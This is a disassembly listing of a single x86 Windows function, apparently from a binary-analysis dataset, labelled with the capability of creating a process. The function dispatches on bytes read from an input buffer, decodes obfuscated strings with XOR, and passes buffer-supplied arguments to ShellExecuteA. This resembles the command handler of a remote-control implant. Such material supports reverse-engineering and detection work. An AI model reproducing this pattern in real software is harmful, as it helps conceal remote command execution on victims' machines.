Function at 0x10008e86
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1006b94a
mov eax, dword fs:[0]
push eax
sub esp, 0xac
mov eax, dword [0x10084014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov edx, dword [esi + 8]
mov ecx, dword [esi + 0x14]
sub ecx, dword [esi + 0x10]
lea eax, [edx + 1]
cmp eax, ecx
jbe 0x10008e64
xor al, al
jmp 0x10008e6a
mov eax, dword [esi + 0x10]
mov al, byte [edx + eax]
movzx eax, al
inc edx
add eax, 0xffffff5d
mov dword [esi + 8], edx
cmp eax, 9
ja case.0x10008e7f.164
jmp dword [eax*4 + 0x10009428]
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], 0
mov byte [ebp - 0x28], 0
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 0
push eax
mov ecx, esi
call fcn.1000bf80
cmp dword [ebp - 0x14], 0x10
lea esi, [ebp - 0x28]
push 1
cmovae esi, dword [ebp - 0x28]
mov ah, 0x44
push 0
mov al, 0x2b
mov byte [ebp - 0x50], ah
xor al, ah
mov byte [ebp - 0x4b], 0
push 0
mov cl, 0x34
mov byte [ebp - 0x4f], al
mov dl, 0x21
mov byte [ebp - 0x4b], 0
mov bl, 0x2a
xor cl, ah
xor dl, ah
mov byte [ebp - 0x4e], cl
xor bl, ah
mov byte [ebp - 0x4d], dl
push esi
lea eax, [ebp - 0x4f]
mov byte [ebp - 0x4c], bl
push eax
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [ebp - 0x28]
jmp 0x10009407
mov ecx, esi
call fcn.1000c340
jmp case.0x10008e7f.164
mov edi, dword [0x100862f4]
test edi, edi
je case.0x10008e7f.164
mov ecx, dword [esi + 0x14]
lea eax, [edx + 1]
sub ecx, dword [esi + 0x10]
cmp eax, ecx
jbe 0x10008f30
lea eax, [edx + 1]
xor cl, cl
mov dword [esi + 8], eax
mov byte [edi + 2], cl
jmp case.0x10008e7f.164
mov eax, dword [esi + 0x10]
mov cl, byte [edx + eax]
lea eax, [edx + 1]
mov dword [esi + 8], eax
mov byte [edi + 2], cl
jmp case.0x10008e7f.164
mov edi, dword [0x100862f4]
test edi, edi
je case.0x10008e7f.164
mov ecx, esi
call fcn.1000c0b0
mov byte [edi + 3], al
jmp case.0x10008e7f.164
mov edi, dword [0x100862f4]
test edi, edi
je case.0x10008e7f.164
mov ecx, esi
call fcn.1000c0b0
mov byte [edi + 1], al
jmp case.0x10008e7f.164
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], 0
mov byte [ebp - 0x28], 0
lea eax, [ebp - 0x48]
mov dword [ebp - 4], 1
push eax
mov ecx, esi
call fcn.1000bee0
mov eax, dword [ebp - 0x48]
mov ecx, 0x3e8
cmp ax, cx
cmova eax, ecx
xor ecx, ecx
cmp cx, ax
jae case.0x10008e7f.164
movzx eax, ax
mov dword [ebp - 0x48], eax
mov edx, dword [esi + 8]
mov ecx, dword [esi + 0x14]
sub ecx, dword [esi + 0x10]
lea eax, [edx + 2]
cmp eax, ecx
jbe 0x10008fd5
xor edi, edi
jmp 0x10008fdc
mov eax, dword [esi + 0x10]
movzx edi, word [edx + eax]
add edx, 2
mov dword [esi + 8], edx
mov ecx, dword [esi + 0x14]
sub ecx, dword [esi + 0x10]
lea eax, [edx + 1]
cmp eax, ecx
jbe 0x10008ff5
mov byte [ebp - 0x41], 0
jmp 0x10008ffe
mov eax, dword [esi + 0x10]
mov al, byte [edx + eax]
mov byte [ebp - 0x41], al
lea eax, [edx + 1]
mov ecx, esi
mov dword [esi + 8], eax
lea eax, [ebp - 0x28]
push eax
call fcn.1000bf80
mov edx, eax
mov ebx, dword [edx + 8]
mov ecx, dword [edx + 0x14]
sub ecx, dword [edx + 0x10]
lea eax, [ebx + 1]
cmp eax, ecx
jbe 0x10009027
mov byte [ebp - 0x5c], 0
jmp 0x10009030
mov eax, dword [edx + 0x10]
mov al, byte [ebx + eax]
mov byte [ebp - 0x5c], al
inc ebx
mov dword [edx + 8], ebx
mov ecx, dword [edx + 0x14]
sub ecx, dword [edx + 0x10]
lea eax, [ebx + 1]
cmp eax, ecx
jbe 0x10009047
mov byte [ebp - 0x58], 0
jmp 0x10009050
mov eax, dword [edx + 0x10]
mov al, byte [ebx + eax]
mov byte [ebp - 0x58], al
inc ebx
mov dword [edx + 8], ebx
mov ecx, dword [edx + 0x14]
sub ecx, dword [edx + 0x10]
lea eax, [ebx + 1]
cmp eax, ecx
jbe 0x10009067
mov byte [ebp - 0x54], 0
jmp 0x10009070
mov eax, dword [edx + 0x10]
mov al, byte [ebx + eax]
mov byte [ebp - 0x54], al
lea eax, [ebx + 1]
movzx ebx, di
mov dword [edx + 8], eax
mov edx, ebx
call fcn.100095b0
cmp byte [ebp - 0x41], 1
jne 0x10009162
test eax, eax
jne 0x100091bd
push 0x1c
call fcn.10067de6
mov edi, eax
add esp, 4
mov dword [ebp - 0x88], edi
push dword [ebp - 0x54]
mov byte [ebp - 4], 2
push dword [ebp - 0x58]
push dword [ebp - 0x5c]
sub esp, 0x18
mov ecx, esp
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
cmp dword [ecx + 0x14], 0x10
jb 0x100090ce
mov eax, dword [ecx]
jmp 0x100090d0
mov eax, ecx
push 0xffffffffffffffff
mov byte [eax], 0
lea eax, [ebp - 0x28]
push 0
push eax
call fcn.10002330
mov ecx, edi
call fcn.1000be30
push 0x1c
mov edi, eax
mov byte [ebp - 4], 1
call fcn.10067de6
add esp, 4
mov dword [ebp - 0x84], eax
push dword [ebp - 0x54]
mov byte [ebp - 4], 3
push dword [ebp - 0x58]
push dword [ebp - 0x5c]
sub esp, 0x18
mov ecx, esp
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
cmp dword [ecx + 0x14], 0x10
jb 0x10009127
mov eax, dword [ecx]
jmp 0x10009129
mov eax, ecx
push 0xffffffffffffffff
mov byte [eax], 0
lea eax, [ebp - 0x28]
push 0
push eax
call fcn.10002330
mov ecx, dword [ebp - 0x84]
call fcn.1000be30
push eax
mov edx, ebx
mov byte [ebp - 4], 1
call fcn.100096a0
test al, al
jne 0x100091bd
test edi, edi
je 0x100091bd
push ecx
mov ecx, edi
call fcn.10009450
jmp 0x100091bd
test eax, eax
je 0x100091bd
mov ecx, eax
call fcn.1000be00
mov edx, ebx
mov ecx, 0x1008ace8
call fcn.100094b0
mov ecx, edi
call fcn.10021840
mov edi, eax
test edi, edi
je 0x100091bd
push 4
push edi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x100091bd
cmp dword [edi + 0x760], eax
je 0x100091bd
mov ecx, dword [edi + 0x3a8]
mov dword [edi + 0x760], eax
test ecx, ecx
je 0x100091bd
mov eax, dword [ecx]
push 1
mov eax, dword [eax]
call eax
mov dword [edi + 0x3a8], 0
sub dword [ebp - 0x48], 1
jne 0x10008fc1
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb case.0x10008e7f.164
inc eax
push eax
push dword [ebp - 0x28]
call fcn.100026b0
jmp case.0x10008e7f.164
mov byte [ebp - 0x41], 0
mov dword [ebp - 0x2c], 0xf
mov dword [ebp - 4], 4
mov dword [ebp - 0x14], 0xf
lea eax, [ebp - 0x48]
mov byte [ebp - 4], 5
push eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0x30], 0
push eax
lea eax, [ebp - 0x41]
mov byte [ebp - 0x40], 0
push eax
mov ecx, esi
mov dword [ebp - 0x18], 0
mov byte [ebp - 0x28], 0
or ebx, 0xffffffff
mov dword [ebp - 0x48], 0
mov byte [esi + 4], 0
call fcn.1000c0e0
mov ecx, eax
call fcn.1000bf80
mov ecx, eax
call fcn.1000bdc0
cmp dword [ebp - 0x30], 0
je 0x100093fc
mov edi, dword [ebp - 0x48]
test edi, edi
jle 0x100093fc
mov ecx, edi
call fcn.1000efd0
mov esi, eax
test esi, esi
je 0x100093fc
mov cl, byte [esi + 4]
mov edx, edi
call fcn.1000f000
mov edi, eax
test edi, edi
je 0x100093fc
mov al, byte [ebp - 0x41]
cmp al, 1
jne 0x10009330
push edi
mov edx, esi
lea ecx, [ebp - 0xb8]
call fcn.1000f610
add esp, 4
mov byte [ebp - 4], 6
cmp dword [eax + 0x14], 0x10
jb 0x100092a6
mov eax, dword [eax]
cmp dword [ebp - 0x2c], 0x10
movaps xmm0, xmmword [0x1007acb0]
push eax
lea eax, [ebp - 0x40]
mov byte [ebp - 0x60], 0
cmovae eax, dword [ebp - 0x40]
xor ecx, ecx
movups xmmword [ebp - 0x80], xmm0
push eax
movaps xmm0, xmmword [str.H_fXC_fYKMHI_f_t_]
movups xmmword [ebp - 0x70], xmm0
nop
mov al, byte [ebp - 0x80]
xor byte [ebp + ecx - 0x7f], al
inc ecx
cmp ecx, 0x1f
jb 0x100092d0
sub esp, 0x18
mov byte [ebp - 0x60], 0
lea eax, [ebp - 0x7f]
mov ecx, esp
push eax
call fcn.100028b0
lea eax, [ebp - 0xa0]
push eax
call fcn.1000bcb0
add esp, 0x24
lea ecx, [ebp - 0x28]
push eax
call fcn.10006ab0
lea ecx, [ebp - 0xa0]
call fcn.10002220
lea ecx, [ebp - 0xb8]
mov byte [ebp - 4], 5
call fcn.10002220
mov cl, byte [edi + 0x4c]
call fcn.10008da0
mov ebx, eax
jmp 0x100093e6
test al, al
jne 0x100093e6
push edi
mov edx, esi
lea ecx, [ebp - 0xa0]
call fcn.1000f610
add esp, 4
mov byte [ebp - 4], 7
cmp dword [eax + 0x14], 0x10
jb 0x10009355
mov eax, dword [eax]
cmp dword [ebp - 0x2c], 0x10
movaps xmm0, xmmword [0x1007b030]
push eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0x70], 0x66633679
cmovae eax, dword [ebp - 0x40]
xor ecx, ecx
push eax
movups xmmword [ebp - 0x80], xmm0
mov dword [ebp - 0x6c], 0x72776471
mov dword [ebp - 0x68], 0x65333673
mov word [ebp - 0x64], 0x38
nop word [eax + eax]
mov al, byte [ebp - 0x80]
xor byte [ebp + ecx - 0x7f], al
inc ecx
cmp ecx, 0x1c
jb 0x10009390
sub esp, 0x18
mov byte [ebp - 0x63], 0
lea eax, [ebp - 0x7f]
mov ecx, esp
push eax
call fcn.100028b0
lea eax, [ebp - 0xb8]
push eax
call fcn.1000bcb0
add esp, 0x24
lea ecx, [ebp - 0x28]
push eax
call fcn.10006ab0
lea ecx, [ebp - 0xb8]
call fcn.10002220
lea ecx, [ebp - 0xa0]
mov byte [ebp - 4], 5
call fcn.10002220
mov ebx, 0xffff0000
cmp dword [ebp - 0x18], 0
je 0x100093fc
push 3
push 1
push ebx
lea ecx, [ebp - 0x28]
call fcn.1002e680
add esp, 0xc
lea ecx, [ebp - 0x28]
call fcn.10002220
lea ecx, [ebp - 0x40]
call fcn.10002220
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10067dd5
mov esp, ebp
pop ebp
ret